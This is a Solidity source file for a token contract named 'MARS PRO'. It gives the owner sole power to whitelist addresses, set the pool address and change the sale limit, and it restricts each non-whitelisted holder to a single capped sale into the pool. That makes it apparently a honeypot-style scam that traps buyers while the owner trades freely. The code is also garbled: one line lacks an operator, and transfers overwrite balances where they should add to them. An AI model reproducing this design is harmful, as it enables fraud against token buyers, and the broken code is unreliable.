// SPDX-License-Identifier: Unlicensed;
pragma solidity ^0.8.7;
contract MarsPro
{
mapping(address => uint) public balances;
mapping(address => mapping(address => uint)) public allowance;
uint public totalSupply = 100_000_000_000 * 10 ** 18;
uint256 private maxSaleLimit = 100_000_000 * 10 ** 18;
string public name = "MARS PRO";
string public symbol = "MARS";
uint public decimals = 18;
address public owner;
address public poolAddress = address(0); //will be set after adding liquidity.
mapping(address => uint256) public sells;
mapping(address => bool) private _whiteList;


function includeToWhiteList(address _users, bool _enabled) external
{
require(owner == msg.sender, 'Only owner');
_whiteList[_users] = _enabled;
}

function setPoolAddress(address _address) public
{
require(owner == msg.sender, 'Only owner');
poolAddress = _address;
}

function setMaxSaleLimit(uint256 _amount) public
{
require(owner == msg.sender, 'Only owner');
maxSaleLimit = _amount;
}

function checkforWhale(address from, address to, uint256 amount) private
{
if(to==poolAddress && !_whiteList[from])
{
require(amount<=maxSaleLimit);
require(sells[from]<1);
sells[from] = sells[from] 1;
}
}

event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);

constructor()
{
owner = msg.sender;
balances[msg.sender] = totalSupply;
_whiteList[msg.sender] = true;
}

function balanceOf(address _owner) public view returns(uint) {
return balances[_owner];
}

function transfer(address to, uint value) external returns(bool)
{
require(balanceOf(msg.sender) >= value, 'Balance is low');
checkforWhale(msg.sender, to, value);
balances[to] = value;
balances[msg.sender] -= value;
emit Transfer(msg.sender, to, value);
return true;
}

function transferFrom(address from, address to, uint value) external returns(bool) {
require(balanceOf(from) >= value, 'balance too low');
require(allowance[from][msg.sender] >= value, 'allowance too low');
checkforWhale(from, to, value);
balances[to] = value;
balances[from] -= value;
emit Transfer(from, to, value);
return true;
}

function approve(address spender, uint value) public returns (bool)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}


}